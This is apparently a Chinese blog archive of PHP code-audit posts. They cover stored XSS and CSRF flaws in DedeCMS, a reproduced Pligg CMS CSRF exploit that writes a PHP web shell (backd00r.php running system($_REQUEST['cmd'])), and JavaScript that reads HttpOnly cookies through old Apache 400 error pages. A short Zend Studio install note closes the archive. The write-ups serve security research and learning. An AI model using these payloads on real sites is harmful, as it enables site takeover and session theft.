分类目录归档:PHP

代码审计–Dedecms最新版本存储xss

………………………….正在加载中………………………….

由于编辑文章的模板参数 typeid2可控,导致存储XSS发生。

dedecms/dede/templets/article_edit.htm页面316-325行代码如下:

  <tr>
      <td height="24" colspan="2" class="bline"><table width="800" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td width="90">&nbsp;文章副栏目:</td>
            <td><span id='typeid2ct'></span>
              <input type='text' name='typeid2' id='typeid2' value='<?php echo ($arcRow['typeid2']=='0' ? '' : $arcRow['typeid2']); ?>' style='width:200px;' />
              <img src='images/menusearch2.gif' style='cursor:pointer;' onClick="ShowCatMap(event, this, <?php echo $channelid; ?>, 'typeid2', '<?php echo $arcRow['typeid2']; ?>')" alt='选择副栏目' title='选择副栏目' /></td>
          </tr>
        </table></td>
    </tr>

从上面可以看出,变量$channelid 与 $arcRow[‘typeid2’] 只要可控,就可以造成XSS,接下来我们去找找能控制$channelid和$arcRow[‘typeid2’]的页面。

dedecms/dede/catalog_do.php页面249-310行代码如下:

else if($dopost == 'unitCatalog')
{
    CheckPurview('t_Move');
    require_once(DEDEINC.'/oxwindow.class.php');
    require_once(DEDEINC.'/typelink.class.php');
    require_once(DEDEINC.'/channelunit.func.php');
    if(empty($nextjob))
    {
        $typeid = isset($typeid) ? intval($typeid) : 0;
        $row = $dsql->GetOne("SELECT COUNT(*) AS dd FROM `#@__arctype` WHERE reid='$typeid' ");
        $tl = new TypeLink($typeid);
        $typename = $tl->TypeInfos['typename'];
        $reid = $tl->TypeInfos['reid'];
        $channelid = $tl->TypeInfos['channeltype'];
        if(!empty($row['dd']))
        {
            ShowMsg("栏目: $typename($typeid) 有子栏目,不能进行合并操作!", '-1');
            exit();
        }
        $typeOptions = $tl->GetOptionArray(0, 0, $channelid);
        $wintitle = '合并栏目';
        $wecome_info = "<a href='catalog_main.php'>栏目管理</a> >> 合并栏目";
        $win = new OxWindow();
        $win->Init('catalog_do.php', 'js/blank.js', 'POST');
        $win->AddHidden('dopost', 'unitCatalog');
        $win->AddHidden('typeid', $typeid);
        $win->AddHidden('channelid', $channelid);
        $win->AddHidden('nextjob', 'unitok');
        $win->AddTitle("合并目录时不会删除原来的栏目目录,合并后需手动更新目标栏目的文档HTML和列表HTML。");
        $win->AddItem('你选择的栏目是:', "<font color='red'>$typename($typeid)</font>");
        $win->AddItem('你希望合并到那个栏目?', "<select name='unittype'>\r\n{$typeOptions}\r\n</select>");
        $win->AddItem('注意事项:', '栏目不能有下级子栏目,只允许子级到更高级或同级或不同父级的情况。');
        $winform = $win->GetWindow('ok');
        $win->Display();
        exit();
    }
    else
    {
        if($typeid==$unittype)
        {
            ShowMsg("同一栏目无法合并,请后退重试!", '-1');
            exit();
        }
        if(IsParent($unittype, $typeid))
        {
            ShowMsg('不能从父类合并到子类!', 'catalog_main.php');
            exit();
        }
        $row = $dsql->GetOne("SELECT addtable FROM `#@__channeltype` WHERE id='$channelid' ");
        $addtable = (empty($row['addtable']) ? '#@__addonarticle' : $row['addtable'] );
        $dsql->ExecuteNoneQuery("UPDATE `#@__arctiny` SET typeid='$unittype' WHERE typeid='$typeid' ");
        $dsql->ExecuteNoneQuery("UPDATE `#@__feedback` SET typeid='$unittype' WHERE typeid='$typeid' ");
        $dsql->ExecuteNoneQuery("UPDATE `#@__archives` SET typeid='$unittype' WHERE typeid='$typeid' ");
        $dsql->ExecuteNoneQuery("UPDATE `#@__archives` SET typeid2='$unittype' WHERE typeid2='$typeid' ");
        $dsql->ExecuteNoneQuery("UPDATE `#@__addonspec` SET typeid='$unittype' WHERE typeid='$typeid' ");
        $dsql->ExecuteNoneQuery("UPDATE `$addtable` SET typeid='$unittype' WHERE typeid='$typeid' ");
        $dsql->ExecuteNoneQuery("DELETE FROM `#@__arctype` WHERE id='$typeid' ");
        UpDateCatCache();
        ShowMsg('成功合并指定栏目!', 'catalog_main.php');
        exit();
    }
}

由于变量$channelid 在该文件头部已经被过滤为intval($channelid),所以这个变量利用不了。
弱点代码在这里
$dsql->ExecuteNoneQuery(“UPDATE `#@__archives` SET typeid2=’$unittype’ WHERE typeid2=’$typeid’ “);
只要我们构造好POC,即可修改dede_archives表typeid2的值,从而造成存储XSS,因为编辑文章的时候,typeid2的值已经在数据库改了,所以每次编辑文章即可触发这个恶意代码。
也就是说当提交

URLpostdata:dopost=unitCatalog&nextjob='非空值'&typeid=0&unittype='><img src="x" onerror="alert(1)">

下面这个sql语句就会执行成功
$dsql->ExecuteNoneQuery(“UPDATE `#@__archives` SET typeid2=’$unittype’ WHERE typeid2=’$typeid’ “);
当然执行这条sql语句前提是这个表里的一定要有1条记录

利用方法就是CSRF 让管理员请求这个构造好的URL即可

代码审计—–从看别人的exp或者Poc学起(1)

审计目标为我在exploit-db网上看见的

Pligg CMS 2.0.0rc2 – CSRF File Creation Vulnerability

-Create File by CSRF Exploit-
<html>
<body onload="document.form.submit();">
<form action="http://[target]/pligg/admin/admin_editor.php" method="post" name="form">
<input type="hidden" name="updatedfile" value="<?php system($_REQUEST['cmd']); ?>">
<input type="hidden" name="the_file2" value="/var/www/html/pligg/backd00r.php">
<input type="hidden" name="isempty" value="1">
<input type="hidden" name="save" value="Save+Changes">
</form>
</body>
</html>

上面为漏洞利用代码的exp,接下来我们看看源代码。

我后来分析了下,还有一个漏洞,为查看任意页面源代码漏洞,不过需要登录到后台才可行,都说后台是防御最薄弱的地方,一点都没错。
第一个漏洞利用,因为Post参数the_file没有过滤,加上fread函数可以查看页面内容,接下来我们构造一个存在的文件,由于我是在wamp开发,所以我就实现查看下这个admin_editor.php文件代码。代码修改如下:

-<select class="input-xlarge" name="the_file">
<option value="admin_editor.php">../templates/bootstrap/about_box.tpl</option>

效果图如下:

然后第二个漏洞就是该作者在exploit-db网上发现的csrf getshell漏洞。作者是创建一个新文件,然后写入一个web后门,拿到webshell.

我们可以用另外一个方法也是可以用来getshell,先利用第一个漏洞编辑站点目录index.php,接着我们编辑保存下。

然后运保存成功后,查看index.php,然后就生成了test.php文件

DEDECMS v5.7(2013-06-07) xss+csrf 0day

书签管理存在xss+csrf

http://localhost/dedecms/member/flink_main.php
 
 
xss:http://localhost/dedecms/member/flink_main.php?dopost=addnew&title=test' onmouseover=alert(1);'&url=test' onmouseover=alert(1);'
 
CSRF:<img src="http://localhost/dedecms/member/flink_main.php?dopost=addnew&title=test&url=test">

临时修复方法:

function GetLinkList(&$dsql)
{
    global $cfg_ml;
    $dsql->SetQuery("SELECT * FROM `#@__member_flink` WHERE mid='".$cfg_ml->M_ID."' ORDER BY aid DESC");
    $dsql->Execute();
    $j=0;
    while($row = $dsql->GetArray())
    {
        $j++;
        $line = "
<div class='item flink'>
  <div class='itemHead' >
    <div class='fRight'>
      <span class='itemDigg'><a href='#' onclick='UpdateType({$row['aid']})'>[更新]</a></span>
      <span class='itemManage'><a href='#' onclick='DelType({$row['aid']})'>[删除]</a></span>
    </div>
    <span class='itemTitle'>名称:<input name='title{$row['aid']}' type='text' id='title{$row['aid']}' value=\"{$row['title']}\" class='intxt' /></span> //干嘛要加单引号呢?外面用双引号里面用双引号转义就OK了例如上面的value=\"{$row['title']}\"
    <div class='mt5'>网址:<input name='url{$row['aid']}' type='text' id='url{$row['aid']}' value=\"{$row['url']}\" class='intxt' /></div>
  </div>
</div>
<hr class='dotted' />";
        echo $line;
    }
    if($j==0)
    {
        echo "尚无任何链接";
    }
}

获取HttpOnly cookie方法(限Apache2.2.11以下版本)

首先建立个页面为test.php,为该页面设置2个 cookie值,代码如下:

<?php
setcookie("open",1,time()+3600,"","",0);  //一般的COOKIE
setcookie("private",1,time()+3600,"","",0,1);  //设置为HTTPONLY COOKIE
?>

接着我在test.php页面里面插入JS代码alert(document.cookie);看是否能查看到2个cookie的值。结果为open=1

接下来我们的目标就是获取到httponly的cookie,接下来我们创建一个ajax.js文件,文件代码如下:(JS代码来自于https://gist.github.com/pilate/1955a1c28324d4724b7b/)

// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}
 
function makeRequest() {
setCookies();
 
function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies[i].split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "test.php", true);  //请求当前目录下的test.php文件 
xhr.send(null);
}
 
makeRequest();

然后在修改下test.php代码文件

<?php
setcookie("open",1,time()+3600,"","",0);
setcookie("private",1,time()+3600,"","",0,1);
 
?>
 
<script src="ajax.js"></script>
 
<body onload="makeRequest();">

接着就访问test.php文件即可访问到
open=1;private=1

ubuntu下安装ZendStudio以及使用命令运行

ZendStudio下载地址:http://www.zendstudio.net/zend-studio-all-in-one-download/

下载OK后,我把该文件复制到/var/software 目录里,其实还可以放到别的目录里

接着解压文件: tar zxvf xxx.tar.gz

然后进入Zendstudio 目录:cd ZendStudio

找到Zendstudio文件,然后创建快捷方式到/usr/bin/目录里 :

ln -s /var/software/ZendStuio/ZendStudio /usr/bin/

接着随便进入个目录,输入ZendStudio命令即可打开。